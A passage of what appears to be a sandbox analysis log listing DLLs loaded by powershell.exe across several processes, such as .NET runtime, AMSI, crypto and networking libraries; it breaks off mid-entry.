"powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll (UID: 00000000-00006444) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P6f792626#\7ff5199e757cb8af9ad949453f698d09\Microsoft.PowerShell.Security (UID: 00000000-00006444) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Transactions\604272b0faec2e09d53d38e03bc89c6c\System.Transactions.ni.dll (UID: 00000000-00006444) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Configuration\4beb1eeca20b27d4bd1bb9880f03cc2a\System.Configuration.ni.dll (UID: 00000000-00006444) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00006444) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00006444) "powershell.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00006444) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll (UID: 00000000-00006444) "powershell.exe" called "LoadLibrary" with a parameter shlwapi.dll (UID: 00000000-00006444) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll (UID: 00000000-00006444) "powershell.exe" called "LoadLibrary" with a parameter wldp.dll (UID: 00000000-00006444) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MPCLIENT.DLL (UID: 00000000-00006444) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MsMpLics.dll (UID: 00000000-00006444) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\kernel32.dll (UID: 00000000-00006444) "powershell.exe" called "LoadLibrary" with a parameter USERENV.dll (UID: 00000000-00006444) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00006444) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00006444) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00006444) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P521220ea#\df7d947a99cbcfaa726b127726f05476\Microsoft.PowerShell.Commands (UID: 00000000-00006444) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Confe64a9051#\120a0532577f871c2415502d9edacdd6\System.Configuration.Install. (UID: 00000000-00006444) "powershell.exe" called "LoadLibrary" with a parameter KERNEL32.dll (UID: 00000000-00006444) "powershell.exe" called "LoadLibrary" with a parameter oleaut32 (UID: 00000000-00006444) "powershell.exe" called "LoadLibrary" with a parameter Kernel32.dll (UID: 00000000-00006444) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00006444) "powershell.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00006444) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00005528) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00005528) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00005528) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00005528) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00005528) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00005528) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00005528) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00005528) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00005528) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll (UID: 00000000-00005528) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00005528) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00005528) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll (UID: 00000000-00005528) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00005528) "powershell.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00005528) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00005528) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\fe2524177eb3088c77be666722039f52\mscorlib.ni.dll (UID: 00000000-00005528) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll (UID: 00000000-00005528) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00005528) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00005528) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00005528) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00005528) "powershell.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00005528) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\e43dd9c73ab5615e461bf5109c3facd6\System.ni.dll (UID: 00000000-00005528) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\0d59b0e237d7519417de10cd84bda4e7\System.Core.ni.dll (UID: 00000000-00005528) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\b5ba37e1558ced178a99011a1d659b52\Microsoft.PowerShell.ConsoleH (UID: 00000000-00005528) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll (UID: 00000000-00005528) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00005528) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\6da01910c256231d1c50ad0aacee5941\System.Management.Automation. (UID: 00000000-00005528) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00005528) "powershell.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00005528) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00005528) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00005528) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00005528) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00005528) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00005528) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00005528) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00005528) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00005528) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00005528) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00005528) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00005528) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00005528) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00005528) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll (UID: 00000000-00005528) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll (UID: 00000000-00005528) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll (UID: 00000000-00005528) "powershell.exe" called "LoadLibrary" with a parameter wintrust.dll (UID: 00000000-00005528) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll (UID: 00000000-00005528) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Management\b221af81285c1305324612e6dc9c88ff\System.Management.ni.dll (UID: 00000000-00005528) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Dired13b18a9#\8ad4c0af5b3d51a0f3a4dac0d44d85d4\System.DirectoryServices.ni.d (UID: 00000000-00005528) "powershell.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00005528) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Configuration\4beb1eeca20b27d4bd1bb9880f03cc2a\System.Configuration.ni.dll (UID: 00000000-00005528) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00005528) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Xml\5ee35debfc22f727e70e4479ddcbc045\System.Xml.ni.dll (UID: 00000000-00005528) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00005528) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Mf49f6405#\7b1f35fb0c2d6955ce5af2bd372c65f2\Microsoft.Management.Infrastr (UID: 00000000-00005528) "powershell.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00005528) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Numerics\86cfd69ce1261baf4740e7606cade014\System.Numerics.ni.dll (UID: 00000000-00005528) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll (UID: 00000000-00005528) "powershell.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00005528) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Data\7bed49c46de9295a8453db205c60a028\System.Data.ni.dll (UID: 00000000-00005528) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00005528) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00005528) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00005528) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll (UID: 00000000-00005528) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P6f792626#\7ff5199e757cb8af9ad949453f698d09\Microsoft.PowerShell.Security (UID: 00000000-00005528) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Transactions\604272b0faec2e09d53d38e03bc89c6c\System.Transactions.ni.dll (UID: 00000000-00005528) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00005528) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00005528) "powershell.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00005528) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll (UID: 00000000-00005528) "powershell.exe" called "LoadLibrary" with a parameter shlwapi.dll (UID: 00000000-00005528) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll (UID: 00000000-00005528) "powershell.exe" called "LoadLibrary" with a parameter wldp.dll (UID: 00000000-00005528) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MPCLIENT.DLL (UID: 00000000-00005528) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MsMpLics.dll (UID: 00000000-00005528) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\kernel32.dll (UID: 00000000-00005528) "powershell.exe" called "LoadLibrary" with a parameter USERENV.dll (UID: 00000000-00005528) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00005528) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00005528) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00005528) "powershell.exe" called "LoadLibrary" with a parameter KERNEL32.dll (UID: 00000000-00005528) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pae3498d9#\d922445a828b30938c72d375a3b34a60\Microsoft.PowerShell.Commands (UID: 00000000-00005528) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Confe64a9051#\120a0532577f871c2415502d9edacdd6\System.Configuration.Install. (UID: 00000000-00005528) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P521220ea#\df7d947a99cbcfaa726b127726f05476\Microsoft.PowerShell.Commands (UID: 00000000-00005528) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00005528) "powershell.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00005528) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\iphlpapi.dll (UID: 00000000-00005528) "powershell.exe" called "LoadLibrary" with a parameter iphlpapi.dll (UID: 00000000-00005528) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\rasapi32.dll (UID: 00000000-00005528) "powershell.exe" called "LoadLibrary" with a parameter rasapi32.dll (UID: 00000000-00005528) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ws2_32.dll (UID: 00000000-00005528) "powershell.exe" called "LoadLibrary" with a parameter ws2_32.dll (UID: 00000000-00005528) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\winhttp.dll (UID: 00000000-00005528) "powershell.exe" called "LoadLibrary" with a parameter winhttp.dll (UID: 00000000-00005528) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\diasymreader.dll (UID: 00000000-00005528) "powershell.exe" called "LoadLibrary" with a parameter GDI32.dll (UID: 00000000-00005528) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.M870d558a#\5f64880c86c98e7ddecdf28e61917307\Microsoft.Management.Infrastr (UID: 00000000-00005528) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Ibaae5ed9#\e86f7f836a07f673cdef4c9a4d4b4d80\Microsoft.IIS.Powershell.Comm (UID: 00000000-00005528) "powershell.exe" called "LoadLibrary" with a parameter oleaut32 (UID: 00000000-00005528) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\api-ms-win-core (UID: 00000000-00005528) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-libraryloader-l1-2-0.dll (UID: 00000000-00005528) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\msvcrt.dll (UID: 00000000-00005528) "powershell.exe" called "LoadLibrary" with a parameter msvcrt.dll (UID: 00000000-00005528) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Manag (UID: 00000000-00005528) "powershell.exe" called "LoadLibrary" with a parameter Microsoft.Management.Infrastructure.Native.Unmanaged.DLL (UID: 00000000-00005528) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\mi.dll (UID: 00000000-00005528) "powershell.exe" called "LoadLibrary" with a parameter mi.dll (UID: 00000000-00005528) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-processthreads-l1-1-0.dll (UID: 00000000-00005528) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-handle-l1-1-0.dll (UID: 00000000-00005528) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00004752) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00004752) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00004752) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00004752) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00004752) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00004752) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00004752) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00004752) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00004752) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll (UID: 00000000-00004752) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00004752) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00004752) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll (UID: 00000000-00004752) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00004752) "powershell.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00004752) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00004752) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\fe2524177eb3088c77be666722039f52\mscorlib.ni.dll (UID: 00000000-00004752) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll (UID: 00000000-00004752) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00004752) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00004752) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00004752) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00004752) "powershell.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00004752) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\e43dd9c73ab5615e461bf5109c3facd6\System.ni.dll (UID: 00000000-00004752) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\0d59b0e237d7519417de10cd84bda4e7\System.Core.ni.dll (UID: 00000000-00004752) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\b5ba37e1558ced178a99011a1d659b52\Microsoft.PowerShell.ConsoleH (UID: 00000000-00004752) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll (UID: 00000000-00004752) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00004752) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\6da01910c256231d1c50ad0aacee5941\System.Management.Automation. (UID: 00000000-00004752) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00004752) "powershell.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00004752) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00004752) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00004752) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00004752) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00004752) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00004752) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00004752) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00004752) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00004752) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00004752) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00004752) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00004752) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00004752) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00004752) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll (UID: 00000000-00004752) "powershell.exe" called "LoadLibrary" with a parameter wintrust.dll (UID: 00000000-00004752) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll (UID: 00000000-00004752) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll (UID: 00000000-00004752) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll (UID: 00000000-00004752) "powershell.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00004752) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00004752) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Mf49f6405#\7b1f35fb0c2d6955ce5af2bd372c65f2\Microsoft.Management.Infrastr (UID: 00000000-00004752) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00004752) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Management\b221af81285c1305324612e6dc9c88ff\System.Management.ni.dll (UID: 00000000-00004752) "powershell.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00004752) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll (UID: 00000000-00004752) "powershell.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00004752) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Dired13b18a9#\8ad4c0af5b3d51a0f3a4dac0d44d85d4\System.DirectoryServices.ni.d (UID: 00000000-00004752) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Xml\5ee35debfc22f727e70e4479ddcbc045\System.Xml.ni.dll (UID: 00000000-00004752) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Numerics\86cfd69ce1261baf4740e7606cade014\System.Numerics.ni.dll (UID: 00000000-00004752) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Data\7bed49c46de9295a8453db205c60a028\System.Data.ni.dll (UID: 00000000-00004752) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00004752) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00006112) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00006112) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00006112) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00006112) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00006112) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00006112) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00006112) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00006112) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00006112) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll (UID: 00000000-00006112) "powershell.exe" called 